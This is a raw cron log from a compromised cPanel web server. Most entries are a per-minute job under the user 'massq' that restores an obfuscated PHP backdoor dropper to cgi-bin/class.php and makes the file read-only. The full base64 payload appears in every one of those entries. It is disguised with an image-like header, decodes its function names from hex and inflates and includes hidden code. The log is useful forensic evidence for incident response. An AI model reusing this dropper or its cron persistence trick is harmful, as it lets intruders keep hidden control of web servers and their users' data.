Nov 10 00:17:01 server CROND[30271]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:18:01 server CROND[31245]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:19:01 server CROND[32211]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:20:01 server CROND[568]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 00:20:01 server CROND[569]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:20:01 server CROND[570]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 00:20:01 server CROND[571]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 00:20:01 server CROND[572]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 00:21:01 server CROND[1283]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:22:01 server CROND[2092]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:23:01 server CROND[3012]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:24:01 server CROND[3801]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:25:01 server CROND[4576]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 10 00:25:01 server CROND[4577]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 00:25:01 server CROND[4580]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 00:25:01 server CROND[4581]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:26:01 server CROND[5460]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:27:01 server CROND[6278]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 00:27:01 server CROND[6281]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:28:01 server CROND[7000]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:29:01 server CROND[7823]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:30:01 server CROND[8816]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 00:30:01 server CROND[8817]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 00:30:01 server CROND[8825]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 00:30:01 server CROND[8827]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
